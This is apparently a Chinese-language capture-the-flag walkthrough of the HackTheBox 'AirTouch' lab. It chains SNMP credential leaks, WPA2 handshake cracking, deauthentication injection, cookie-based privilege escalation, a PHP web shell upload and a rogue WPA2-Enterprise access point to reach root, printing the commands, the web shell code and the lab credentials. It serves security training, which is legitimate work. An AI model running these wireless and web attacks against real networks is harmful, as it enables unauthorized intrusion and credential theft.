目标信息
IP地址:
10.129.7.139(非固定IP地址)
信息收集
ICMP检测
PING 10.129.7.139 (10.129.7.139) 56(84) bytes of data.
64 bytes from 10.129.7.139: icmp_seq=1 ttl=63 time=239 ms
64 bytes from 10.129.7.139: icmp_seq=2 ttl=63 time=251 ms
64 bytes from 10.129.7.139: icmp_seq=3 ttl=63 time=243 ms
64 bytes from 10.129.7.139: icmp_seq=4 ttl=63 time=351 ms
--- 10.129.7.139 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 238.966/270.672/350.539/46.306 ms
攻击机和靶机间的网络连接正常。
防火墙检测
# Nmap 7.98 scan initiated Sun Jan 18 07:36:13 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.7.139
Nmap scan report for 10.129.7.139
Host is up (0.23s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open|filtered ssh
# Nmap done at Sun Jan 18 07:36:39 2026 -- 1 IP address (1 host up) scanned in 26.08 seconds
靶机疑似开放了1个TCP端口。
网络端口扫描
TCP端口扫描结果
# Nmap 7.98 scan initiated Sun Jan 18 07:38:44 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.7.139
Nmap scan report for 10.129.7.139
Host is up (0.24s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 bd:90:00:15:cf:4b:da:cb:c9:24:05:2b:01:ac:dc:3b (RSA)
| 256 6e:e2:44:70:3c:6b:00:57:16:66:2f:37:58:be:f5:c0 (ECDSA)
|_ 256 ad:d5:d5:f0:0b:af:b2:11:67:5b:07:5c:8e:85:76:76 (ED25519)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 307.63 ms 10.10.14.1
2 307.72 ms 10.129.7.139
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 18 07:39:24 2026 -- 1 IP address (1 host up) scanned in 40.64 seconds
UDP端口开放列表扫描结果
# Nmap 7.98 scan initiated Sun Jan 18 07:39:50 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.7.139
Warning: 10.129.7.139 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.7.139
Host is up (0.23s latency).
Not shown: 65289 open|filtered udp ports (no-response), 245 closed udp ports (port-unreach)
PORT STATE SERVICE
161/udp open snmp
# Nmap done at Sun Jan 18 07:43:54 2026 -- 1 IP address (1 host up) scanned in 244.38 seconds
UDP端口详细信息扫描结果
# Nmap 7.98 scan initiated Sun Jan 18 07:45:06 2026 as: /usr/lib/nmap/nmap -sC -sV -A -sU -p 161 --min-rate 3000 -oN udp_result.txt 10.129.7.139
Nmap scan report for 10.129.7.139
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-sysdescr: "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"
|_ System uptime: 2d09h31m23.40s (20708340 timeticks)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 8b2467631cf6686900000000
| snmpEngineBoots: 1
|_ snmpEngineTime: 2d09h31m23s
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
Service Info: Host: Consultant
TRACEROUTE (using port 161/udp)
HOP RTT ADDRESS
1 229.81 ms 10.10.14.1
2 229.91 ms 10.129.7.139
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 18 07:45:15 2026 -- 1 IP address (1 host up) scanned in 9.32 seconds
同时发现靶机运行Ubuntu Linux操作系统,开放22/ssh和161/snmp(udp)服务,根据HackTheBox靶机规则,靶机主域名应为airtouch.htb
服务探测
SSH服务(22端口)
尝试使用ssh工具连接靶机,查看靶机允许的登录方式:
ssh root@airtouch.htb

发现靶机SSH服务允许使用密钥和密码登录。
SNMP服务(UDP-161端口)
尝试使用snmpwalk工具连接服务查看OID:
snmpwalk -v2c -c public airtouch.htb .

成功发现用户凭据:
- 用户名:
consultant - 密码:
RxBlZhLmOkacNWScmZ6D
尝试登录SSH,成功:
ssh consultant@airtouch.htb

登录SSH后,发现IP网段为172.20.1.0,与实际IP不符,还存在数个虚拟无线网络接口,且在根目录下发现了.dockerenv文件,确定当前处于Docker容器环境内。
尝试执行sudo -l命令查看当前用户权限,发现可以免密以root身份运行任意程序:

直接切换到root用户:
sudo su -

渗透测试
爆破WiFi握手包连接内网
获取容器root权限后,进行目录信息收集。在/root目录下发现了知名的无线网络渗透工具eaphammer:
ls -lA /root/eaphammer

除此之外,还在/home/consultant目录下发现了两张图片:
cd /home/consultant && ls -lA

直接使用scp工具将两张图片下载到本地,首先查看diagram-net.png:

图片描述了AirTouch组织的网络架构,当前容器处于“顾问”有线网络中,另外的两个无线网络AirTouch-Internet和AirTouch-Office分别为平板电脑专用网络和公司内部办公网络;第二张图片为作者手绘网络架构图,内容相同。使用exiftool查看手绘图文件元信息,发现Profile Creator一行为Little CMS:

尝试使用wpa-cli工具,通过wlan0接口扫描虚拟无线网络。首先需要编写/etc/wpa_supplicant/wpa_supplicant.conf配置文件,指定服务监听的本地Socket,并启动无线网络管理服务:
cat > /etc/wpa_supplicant/wpa_supplicant.conf << EOF
ctrl_interface=/run/wpa_supplicant
update_config=1
EOF
wpa_supplicant -B -c /etc/wpa_supplicant/wpa_supplicant.conf -i wlan0
随后启动wpa_cli,扫描无线网络:
wpa_cli -i wlan0
scan
scan_results

一共发现6个无线网络,其中AirTouch-Internet使用WPA2-PSK加密协议,频率2437,对应信道为6;而AirTouch-Office使用WPA2-EAP加密协议,且有2个接入点。
注:可通过查表确定
WiFi频率对应的信道号码。(List of WLAN channels - Wikipedia)
联想到root家目录下的eaphammer工具,决定尝试使用该工具抓取其它虚拟设备与AirTouch-Internet网络连接的握手包,并尝试爆破哈希来获取虚拟WiFi密码。
进入/root/epahammer目录,启动eaphammer:
./eaphammer --bssid F0:9F:C2:A3:F1:A7 --essid AirTouch-Internet --channel 6 --interface wlan0 --auth wpa-psk --creds

成功抓取目标WiFi与其它设备的握手包!通过scp,将hccapx格式的握手包文件下载至本地后,使用在线工具转换为cap格式的网络报文文件:奇伟华青hccapx2cap

将转换完毕的cap文件,使用hcxpcapngtool提取hc22000格式哈希值,接着进行暴力破解:
hcxpcapngtool wpa2handshake-AirTouch_Internet.cap -o wpa2handshake-AirTouch_Internet-hash.hc22000
hashcat -m 22000 -a 0 ./wpa2handshake-AirTouch_Internet-hash.hc22000 /usr/share/wordlists/rockyou.txt --force

成功发现WiFi凭据:
BSSID:F0:9F:C2:A3:F1:A7ESSID:AirTouch-Internet- 加密方式:
WPA2-PSK - 密码:
challenge
直接使用wpa_cli连接:
wpa_cli -i wlan0 add_network
wpa_cli -i wlan0 set_network 0 ssid '"AirTouch-Internet"'
wpa_cli -i wlan0 set_network 0 psk '"challenge"'
wpa_cli -i wlan0 select_network 0
wpa_cli -i wlan0 status

连接成功!最后使用dhclient工具向网关DHCP服务请求IP地址:
dhclient wlan0
ifconfig wlan0

成功获取IP地址:192.168.3.61。
捕获WiFi认证流量解密
连接到AirTouch-Internet网络后,启动SimpleHTTPServer监听,上传fscan工具,对192.168.3.0/24网络内存活主机进行ICMP探测:
./fscan -h 192.168.3.0/24 -m icmp

发现除了当前容器本身地址外,目标网段内只有网关192.168.3.1存活,进行TCP端口扫描:
./fscan -h 192.168.3.1 -p 1-65535 -nobr -nopoc

发现网关开启了22/ssh、80/http和53/dns服务。直接将22和80端口转发至本地:
ssh -fCNR 80:192.168.3.1:80 -p 22222 root@10.10.16.117
ssh -fCNR 22:192.168.3.1:22 -p 22222 root@10.10.16.117
直接访问:http://192.168.3.1

发现目标站点似乎为WiFi的网络认证与管理界面。首先进行目录扫描:
# Dirsearch started Sun Jan 18 18:18:10 2026 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://127.0.0.1 -x 400,404 -e php,js,html,txt,zip,tar.gz,xml,json,pcap,cap,yaml -t 70 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
301 308B http://127.0.0.1/uploads -> REDIRECTS TO: http://127.0.0.1/uploads/
目标Web服务根目录下还存在/uploads子目录,推测WiFi Portal内存在文件上传相关功能。尝试进行SQLi与XSS等测试,均告失败。联想到捕获WiFi握手包时的过程,决定尝试再次对AirTouch-Internet网络所在6号信道的WiFi流量进行捕获,并确定连接者的MAC地址,随后通过向信道内注入解除连接帧的方式,迫使连接者重新连接AP进行Web认证,捕获其登录请求。
首先,强制结束wpa_supplicant和dhclient进程,并使用airmon-ng工具(靶机预装)将wlan0网卡切换到监听模式:
airmon-ng start wlan0 6
随后打开一个子终端,新建SSH连接到靶机并切换至root用户准备。使用airodump-ng工具捕获6号信道流量并写入文件:
airodump-ng -w wlan_channel_6_traffic -c 6 wlan0mon

发现连接者的MAC地址为28:6C:07:FE:A3:22,当前网络BSSID为F0:9F:C2:A3:F1:A7。多次执行如下命令注入解除连接帧:
aireplay-ng -0 1 -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22 wlan0mon

捕获握手与认证流量后,使用scp工具将cap文件传输至本地,通过airdecap-ng解密AirTouch-Internet网络中的流量:
airdecap-ng -e "AirTouch-Internet" -p "challenge" wlan_channel_6_traffic-01.cap -o wlan_channel_6_traffic-01_decrypted.cap
接着打开解密后的流量包查看,成功发现Web Portal的登录凭据:

- 用户名:
manager - 密码:
2wLFYNh4TSTgA5sNgT4
除此之外,还发现站点似乎从HTTP Cookie中读取了用户角色身份:

直接将靶机容器wlan0网卡恢复至正常状态:
airmon-ng stop wlan0mon
并重新启动wpa_supplicant连接到AirTouch-Internet,建立SSH端口转发,完成后访问Web Portal,输入凭据登录:

成功!
越权与文件上传漏洞利用
登录Web Portal后,结合之前查看流量包时在HTTP Cookie中发现的UserRole用户角色参数,决定尝试将UserRole改为其它高权限的值进行越权攻击。
打开FireFox插件Cookie-Editor,选中UserRole一项,将值改为admin保存,随后刷新页面:

发现页面上出现了文件上传表单,成功越权获取管理员权限!
尝试上传后门程序misaka19008.phtml:
<?php
$command = $_GET['cmd'];
if (isset($command) && !empty($command)) {
system($command);
} else die("<hr style='color: red;'>===== hackthebox @misaka19008 hacked =====");
?>

成功上传!直接访问后门:http://127.0.0.1/uploads/misaka19008.phtml,执行id命令:

发现当前为www-data用户,权限较低,执行ls -lA ../命令列出Web根目录下文件:

决定对每个PHP脚本进行信息收集,当收集login.php时,发现了硬编码在脚本内的用户凭据:
cat ../login.php

- 用户名:
user - 密码:
JunDRDZKHDnpkpDDvay
尝试查看/etc/passwd文件,发现user为操作系统用户:
cat /etc/passwd | grep "/bin/"

直接使用SSH登录:
ssh user@127.0.0.1

尝试执行sudo -l命令,发现当前用户可免密以root身份执行任何命令,直接切换到root用户:
sudo su -

成功获得User Flag!!
权限提升
目录信息收集
登录AirTouch-Internet网关容器后,进行目录信息收集,在root家目录下发现大量关于WiFi AP的配置备份。首先查看send_certs.sh:
#!/bin/bash
# DO NOT COPY
# Script to sync certs-backup folder to AirTouch-office.
# Define variables
REMOTE_USER="remote"
REMOTE_PASSWORD="xGgWEwqUpfoOVsLeROeG"
REMOTE_PATH="~/certs-backup/"
LOCAL_FOLDER="/root/certs-backup/"
# Use sshpass to send the folder via SCP
sshpass -p "$REMOTE_PASSWORD" scp -r "$LOCAL_FOLDER" "$REMOTE_USER@10.10.10.1:$REMOTE_PATH"
发现脚本内存在AirTouch-Office网关的登录凭据:
- 用户名:
remote - 密码:
xGgWEwqUpfoOVsLeROeG
但目前无法连接AirTouch-Office网络,继续查看certs-backup目录:
ls -lA certs-backup

发现该目录内存在一整组SSL X509证书及配置文件。查看ca.conf:
cat ./certs-backup/ca.conf

发现该组证书为AirTouch-Office网络进行WPA2-Enterprise认证所需的SSL证书。除此之外,还在/root/psk/目录下发现了其它WiFi网络的凭据:

经分析研判,发现由于缺少SSL证书,目前还未对AirTouch-Office网络进行伪造并捕获握手包。决定使用上述证书,通过eaphammer架设AirTouch-Office网络的伪造网,尝试对认证流量进行抓取。
伪造WPA2-EAP网络捕获哈希
在目录信息收集阶段,我们已经发现了AirTouch-Office网络进行WPA2 Enterprise认证所需的SSL证书,并决定尝试伪造该网络捕获握手包,现在进行利用。
首先使用tar将证书文件夹进行打包,复制到/tmp/目录下:
tar -czf /tmp/wpa2eap-certs.tar.gz *
随后返回虚拟有线网下的容器(即第一个被控制的容器),通过scp命令下载压缩包解压:
scp user@192.168.3.1:/tmp/wpa2eap-certs.tar.gz ./wpa2eap-certs.tar.gz
tar -xzvf wpa2eap-certs.tar.gz

随后按照前面提到的方法强制停止wpa_supplicant和dhclient进程,将证书导入eaphammer:
cd ./eaphammer
./eaphammer --cert-wizard import --ca-cert ../ca.crt --server-cert ../server.crt --private-key ../server.key
接着指定BSSID、ESSID、信道、认证方法与监听网卡名等参数,启动eaphammer在44号信道上伪造AirTouch-Office网络:
./eaphammer --bssid AC:8B:A9:F3:A1:13 --essid AirTouch-Office --channel 44 --interface wlan0 --auth wpa-eap --creds --capture-wpa-handshakes yes

成功捕获用于认证的Net-NTLM哈希值:r4ulcl:$NETNTLM$afd9e3d2b4ce7fcf$c438f0bfafb9a894fb4f092088fe38657fdf3389980a4dde!
直接将其保存为文件,使用john工具爆破:
john r4ulcl_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

成功发现WiFi连接凭据:
- 网络名称:
AirTouch-Office - 用户名:
r4ulcl - 密码:
laboratory
直接在容器内创建wpa_supplicant连接配置wpa0.conf:
ctrl_interface=/run/wpa_supplicant
update_config=1
network={
ssid="AirTouch-Office"
scan_ssid=1
key_mgmt=WPA-EAP
identity="AirTouchr4ulcl"
password="laboratory"
eap=PEAP
phase1="peaplabel=0"
phase2="auth=MSCHAPV2"
}
使用wpa_supplicant连接成功后,通过dhclient重新请求IP地址:
wpa_supplicant -B -c wpa0.conf -i wlan0
dhclient -r && dhclient -v wlan0

网络连接成功!
HostAPD配置内发现高权限凭据
连接到AirTouch-Office网络后,直接使用在send_certs.sh内发现的凭据登录网关10.10.10.1:
ssh remote@10.10.10.1

成功!
在先前对AirTouch-Internet网关root家目录的收集中,psk目录下的WiFi配置文件实为HostAPD的配置,这一点可以从这些文件的文件名看出(执行ls -lA /root/psk/即可发现),这证实靶机的虚拟WiFi功能是使用HostAPD实现的。
尝试在/etc/目录下寻找HostAPD的配置目录:
ls -lA /etc/host*

成功发现HostAPD的WPA2-Enterprise用户配置文件为:/etc/hostapd/hostapd_wpe.eap_user!
直接查看:
cat /etc/hostapd/hostapd_wpe.eap_user

发现当前网络还存在其它用户凭据:
- 用户名:
admin - 密码:
xMJpzXt4D9ouMuL3JJsMriF7KZozm7
而admin用户刚好又是操作系统内的用户:

直接切换到admin:
su admin

尝试执行sudo -l命令,发现当前用户可以root身份免密执行任何命令:

直接切换到root用户:
su -

成功获得Root Flag!!!!
